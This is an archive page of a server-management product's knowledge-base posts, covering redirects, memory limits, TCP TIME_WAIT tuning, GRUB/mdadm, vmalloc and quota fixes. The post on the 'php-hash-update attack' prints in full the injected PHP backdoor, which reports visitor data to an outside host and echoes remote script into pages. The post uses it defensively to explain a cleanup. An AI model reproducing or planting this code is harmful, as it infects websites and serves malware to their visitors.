Blog

Archive for KB

How to manage and configure URL redirects for your Web page using #WebhostingManagement and #CoreAdmin

[extoc]

Introduction to URL redirection with #CoreAdmin

In some cases you need to configure URL redirection so your web page can present different pages according to a source URL without having to do this configuration inside webpage.

Prerequisites

You will need to have access to a working #WebhostingManagement installation where to configure URL redirections.

How to configure URL redirection with #CoreAdmin

URL redirection with #CoreAdmin is pretty straightforward. Click on the webhosting to manage and then go to URL redirect section as shown:

Launching #WebhostingManagement application

Then go:

URL Web redirect with #CoreAdmin and #WebhostingManagement

Inside there you will be able to list, remove, edit and create new URL redirections. To create a new URL redirection here is how. Click on “Add URL redirect” and then fill the form:
Selección_270

How URL redirection works with #CoreAdmin

All URL redirection configured is placed directly into Web server configuration, without touching your site .htaccess file (for example).

This makes possible to configure URL redirection not only for webpages with php but also for the rest of technologies available.

At the same time, this avoids any possibility to interfere with software doing .htaccess automatic changes like #Wordpress or #Prestashop.

URL redirection limits and performance

It is known working cases where users are configuring more than 40.000 url redirections without any issue. It is not known where could be performance problems though 40.000 is a good number.

Posted in: #WebhostingManagement, Apache2, KB, Web hosting

Leave a Comment (0) →

KB 02082016-001 : failed to map segment from shared object: Cannot allocate memory

Article keyword index

Sympton

If you get the following error while starting core-admin agent or core-admin server (turbulence process), or something similar:

ImportError: /usr/lib64/python2.6/lib-dynload/_hashlib.so: failed to map segment from shared object: Cannot allocate memory

If you already have checked your system have enough memory available, then possible there’s a ulimit configuration problem.

Affected releases

All releases may suffer this problem. It’s not a bug but a system resource configuration problem.

Background

The problem is caused by a system ulimit configuration that is limiting the amount of memory that can be used by the core-admin agent or the core-admin server (turbulence).

Solution

You can run the following commands to see if it solves the problem:

ulimit -m unlimited; ulimit -v unlimited

After that, try to restart the agent to see if the problem is solved.

Long term solution

Upgrade your core-admin packages. Since release rev5010, it is already included a fix to automatically correct this setting when starting the software.

Posted in: Administration, KB, Resource limits

Leave a Comment (0) →

Updates — KB: 24032014-001: Dealing with TIME WAIT exhaustion (no more TCP connections)

The KB http://www.core-admin.com/portal/kb-24032014-001-dealing-with-time-wait-exhaustion-no-more-tcp-connections about managing time wait configuration problems reported by time wait checker has been updated to allow configuring TCP TIME WAIT recycle option (/proc/sys/net/ipv4/tcp_tw_recycle). The article also includes additional infomation about how this option relates (and may cause problems) with devices behind NATing firewalls when the server running this option is accessed from there.

The article also includes a reference to Troy Davis’ article http://troy.yort.com/improve-linux-tcp-tw-recycle-man-page-entry/ which explains in more detail how this happens.

Posted in: Administration, Firewall, KB, Security

Leave a Comment (0) →

KB: 16052014-001: Fixing /usr/sbin/grub-probe: error: no such disk. for device /dev/md0 error

So, you are running a Debian like system, and you are upgrading your kernel and during the process you the the following error:

update-initramfs: Generating /boot/initrd.img-2.6.32-5-amd64
Examining /etc/kernel/postinst.d.
run-parts: executing /etc/kernel/postinst.d/initramfs-tools 2.6.32-5-amd64 /boot/vmlinuz-2.6.32-5-amd64
run-parts: executing /etc/kernel/postinst.d/zz-update-grub 2.6.32-5-amd64 /boot/vmlinuz-2.6.32-5-amd64
Generating grub.cfg ...
/usr/sbin/grub-probe: error: no such disk.
run-parts: /etc/kernel/postinst.d/zz-update-grub exited with return code 1
Failed to process /etc/kernel/postinst.d at /var/lib/dpkg/info/linux-image-2.6.32-5-amd64.postinst line 799.

Possibly you are googling it out and you’ve found various solutions like the following links but none of them works:

http://www.linuxexpert.ro/Troubleshooting/grub-error-no-such-disk.html

https://lists.debian.org/debian-user/2011/06/msg00359.html

http://www.linuxquestions.org/questions/debian-26/usr-sbin-grub-probe-error-no-such-disk-922118/

The curious thing is that your system is running perfectly, there is no error at /proc/mdstat (please do a cat over that file just to be sure) and if you run a simple “ls -la ” over /dev/md0 and the disks components that made that disks you find out that everything is right. No error.

At some point, you find that you have to run the following command to “check” what’s grub-probe idea about your hardisks:

/usr/sbin/grub-probe --device-map=/boot/grub/device.map --target=fs -v /boot/grub

However, it is reporting at the end:

/usr/sbin/grub-probe: info: opening md0.
/usr/sbin/grub-probe: error: no such disk.

If you have all this elements in common, please, just be sure you have mdadm command available. It is possible that you have removed it by mistake. Because grub-probe uses mdadm –examine /dev/md0, it is confusing an error from that command with a command not found error.

Please, try the following to see if it works:

>> apt-get install mdadm
>> apt-get install -f

Note well for Core-Admin users

If you are running Core-Admin’s mdadm checker, it will ensure you have mdadm available apart from checking your hard disks and the details inside /proc/mdstat.

Please, be sure you have mdadm checker to ensure this error do not reach your system.

Posted in: Administration, Debian, Debian Squeeze, KB

Leave a Comment (0) →

KB: 24032014-001: Dealing with TIME WAIT exhaustion (no more TCP connections)

Article keyword index

Sympton

1) You have received a time_wait_checker notification 2) or after a review, you find that all services are up and working but they cannot accept more connections (even though they should) or some services cannot connect to internal services like database servers (like MySQL). At the same time, if you run the following command you get more than 30000 entries:

>> netstat -n | grep TIME_WAIT | wc -l

Another sympton is that specific services like squid fails with the following error:

commBind: Cannot bind socket FD 98 to *:0: (98) Address already in use

Affected releases

All releases may suffer this problem. It’s not a bug but a resource exhaustion problem.

Background

The problem is triggered because some service is creating connections faster than they are collected for reuse. After TCP connection is closed, a period is started to receive lost packages for that closed connection, to avoid mixing them for newly created connections with the same location.

Every time a TCP connection is created, a local port is needed for the local end point. This local end point port is taken from the ephemeral ports range as defined at:

/proc/sys/net/ipv4/ip_local_port_range

If that range is exhausted, no more TCP connections can be created because there is no more ephemeral (local port) available.

There are several ways to solve this problem. The following solutions are listed in the order as they are recommended:

  1. Identify the application that is creating those connections to review if there is a problem.
  2. If it is not possible, increase ephemeral port range. See next section.
  3. If increasing ephemeral port range does not solve the problem, try reduce the amount of time a connection can be in TIME WAIT. See next section.
  4. If that does not solve the problem, try activating TCP time wait reuse option which will cause the system to reuse ports that are in TIME WAIT. See next section.

Solution

In the case you cannot fix the application producing these amount of TIME_WAIT connections, use the following options provided by the time_wait_checker to configure the system to better react to this situation.

  1. First, select the machine and then click on Actions (at the top-right of the machines’ view):actions
  2. Now, click on “Show machine’s checkers”:
  3. Then select the “time_wait_checker” and after that, click on:
    configure.
  4. After that, the following window will be showed to configure various TIME_WAIT handling options:Core-Admin Time-wait's checker options

Now use options available as described and using them in the recommended order.

Some notes about Tcp time wait reuse and recycle options

Special mention to Tcp time wait recycle  ( /proc/sys/net/ipv4/tcp_tw_recycle ) option is that it is considered more aggressive than Tcp time wait reuse  ( /proc/sys/net/ipv4/tcp_tw_reuse ). Both can cause problems because they apply “simplifications” to reduce the wait time and to reuse certain structures. In the case of Tcp time wait recycle, given its nature, it can cause problems with devices behind a NAT by allowing connections in a random manner (just one device will be able to connect to the server with this option enabled). As indicated by the tool, “Observe after activation”. More information about Tcp time wait recycle and how it relates to NATed devices at http://troy.yort.com/improve-linux-tcp-tw-recycle-man-page-entry/

In general, both options shouldn’t be used if not needed.

Long term solutions

The following solutions are not quick and requires preparation. But you can consider them to avoid the problem in the long term.

SOLUTION 1: If possible, update your application to reuse connections created. For example, if those connections are because internal database connections, instaed of creating, querying and closing, try to reuse the connection as much as possible. That will reduce a lot the number of pending TIME_WAIT connection in many cases.

SOLUTION 2: Another possible solution is to use several IPs for the same service and load-balance it through DNS (for example). That way you expand possible TCP location combination that are available and thus, you expand the amount of ephemeral ports available. Every IP available and serving the service double your range.

In any case, SOLUTION 1 by far best than SOLUTION 2. It is better to have a service consuming fewer resources.

Posted in: KB, Linux Networking

Leave a Comment (0) →

KB: 19032014-001: Fixing kernel memory allocation problem

Sympton

If after enabling the firewall you get the following error:

iptables: Memory allocation problem

Or at the server logs you find the following indications:

vmap allocation for size 9146368 failed: use vmalloc= to increase size.

This means the kernel internal memory has reached valloc limit.

Affected releases

All Core-Admin releases that uses a Linux kernel superior or equal to 2.6.32.

Background

The first step is to check current limit. To that end, run the following:

>> cat /proc/meminfo | grep -i vmalloc
VmallocTotal: 124144 kB
VmallocUsed: 5536 kB
VmallocChunk: 1156 kB

In this example, VmallocTotal is telling us we have around 128M of allowed valloc memory.

With this value, we have to increase it to something bigger like 256M or a 384M (which may be too much).

Solution

To update this value we have to pass a parameter to the kernel at boot time.

The exact parameter is vmalloc=256M (configuring the right amount of memory you want). According to the boot loader you are using you’ll have to do the following:

1) LILO: Edit  /etc/lilo.conf to update the append declaration like follows:

image = /boot/vmlinuz
root = /dev/hda1
append = "vmalloc=256M"

2) GRUB 1.0: edit “kopt” variable at /boot/grub/menu.lst to include the declaration. A working example is:

kopt=root=UUID=b530efc1-0b0c-419e-affb-87eb9e18b0dc ro vmalloc=256M

After that, save the file and reload grub configurationl. This is usually done with:

>> update-grub

3) GRUB 2.0 edit /etc/default/grub to update GRUB_CMDLINE_LINUX_DEFAULT variable to include the following declaration:

GRUB_CMDLINE_LINUX_DEFAULT="quiet vmalloc=384M"

After that, you must reload configuration. This is usually done with:

>> update-grub

Posted in: KB

Leave a Comment (0) →

KB: 21012014-001: Fixing webhosting php-hash-update attack

Symptom

Core-Admin has reported unallowed changes at your hosting files and taking a look on them you find that they were updated with something similar to:

<?php
#41f893#
error_reporting(0); ini_set('display_errors',0); $wp_wefl08872 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_wefl08872) &amp;&amp; !preg_match ('/bot/i', $wp_wefl08872))){
$wp_wefl0908872="http://"."http"."href".".com/href"."/?ip=".$_SERVER['REMOTE_ADDR']."&amp;referer=".urlencode($_SERVER['HTTP_HOST'])."&amp;ua=".urlencode($wp_wefl08872);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_wefl0908872);
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_08872wefl = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_08872wefl,1,3) === 'scr' ){ echo $wp_08872wefl; }
#/41f893#
?>

Affected releases

All

Background

This attack is done through the FTP server, downloading the original file and then updating it with the additional content. In essence, the attack looks for updating your files adding additional content without updating the rest.

This attack is possible because the password was stolen from a compromised equipment that has some virus or malware that looks for stored password at known locations or because an FTP session was opened using this password over an unsecure connection (like public wifis).

Solution

You have to find which files were updated to remove the “additional content added”. Also, you must reset password for all FTP accounts that were used to run this attack. Fortunetaly Core-Admin already includes an application that automates these tasks.

Follow next instructions to cleanup and reset all required FTP accounts:

  1. Run the following command as root in a server’s shell:
    >> crad-find-and-fix-phphash-attack.pyc
  2. Once finished, it will report which files were updated and which FTP account were compromised. Now, run the tool again asking to fix this:
    >> crad-find-and-fix-phphash-attack.pyc --clean --change-ftp-accounts

Posted in: KB, Security

Leave a Comment (0) →

KB: 05112013-001: Webhosting management fails to add a new hosting reporting an error about quotas

Symptom

When trying to create a hosting inside Webhosting management, it fails with an error similar to:

setquota: Cannot open quotafile /home/aquota.user: Permission denied
setquota: Not all specified mountpoints are using quota.

Affected releases

All

Solution

Restart quota system. To do so you can use one the following methods:

  1. Run the following command if you have easy access to a root shell on the server:
    >> /etc/init.d/quota restart
  2. You can restart the service using “Process and services viewer”, by selecting “quota” service under unmanaged services. After selecting, use the restart option available.

Posted in: Core-Admin, Debian, Debian Lenny, Debian Squeeze, Debian Wheezy, KB

Leave a Comment (0) →

KB: 04112013-001: Mail admin installer because libmail-sender-perl is not found

Symptom

When launched Mail admin installer, it stops and fails reporting that libmail-sender-perl package isn’t found.

Affected releases

Debian Lenny (5.0), Debian Squeeze (6.0), Debian Wheezy (7.0)

Solution

  1. Update your /etc/apt/sources.list to include “non-free” declaration to default source of packages. A working example should like like:
    deb http://ftp.es.debian.org/debian/ squeeze main non-free
  2. After that, restart the installer again.

 

Posted in: Debian, Debian Lenny, Debian Squeeze, Debian Wheezy, KB

Leave a Comment (0) →